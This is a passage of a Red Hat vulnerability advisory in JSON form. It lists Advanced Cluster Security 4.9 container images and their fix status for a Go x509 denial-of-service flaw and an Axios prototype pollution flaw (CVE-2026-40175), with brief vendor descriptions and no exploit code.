"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation"
},
{
"cve": "CVE-2026-40175",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-10T20:02:10.296601+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2457432"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client. This vulnerability, known as Prototype Pollution, can be exploited through a specific \"Gadget\" attack chain. This allows an attacker to escalate a Prototype Pollution vulnerability in a third-party dependency, potentially leading to remote code execution or a full cloud compromise, such as bypassing AWS IMDSv2.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Remote Code Execution via Prototype Pollution escalation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "The Axios library, a promise-based HTTP client, is susceptible to an Important prototype pollution vulnerability. This flaw, when combined with specific \"Gadget\" attack chains in third-party dependencies, can lead to remote code execution or full cloud compromise, including bypassing AWS IMDSv2.\n \nWith pollution check patch available in Axios gives an advantage, it remains vulnerable due to HTTP Header Sanitation and Server-Side Request Forgery threat.\n\nRed Hat products that incorporate the vulnerable Axios library are affected.\n\nThe openshift4/ose-monitoring-plugin-rhel9 container image is not vulnerable to this flaw. The affected component is used as a build-time dependency but it\u0027s not shipped in the final product, meaning the flaw is not present thus cannot be exploited in the container deployments.\n\nRegarding openshift4/ose-console for Product stream 4.12 and 4.13, the vulnerable component is present (indirect dependency), but the vulnerability is not exploitable in our case due to the browser runtime, where the required Node.js-specific attack vectors are not available. With this, the impact becomes low.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
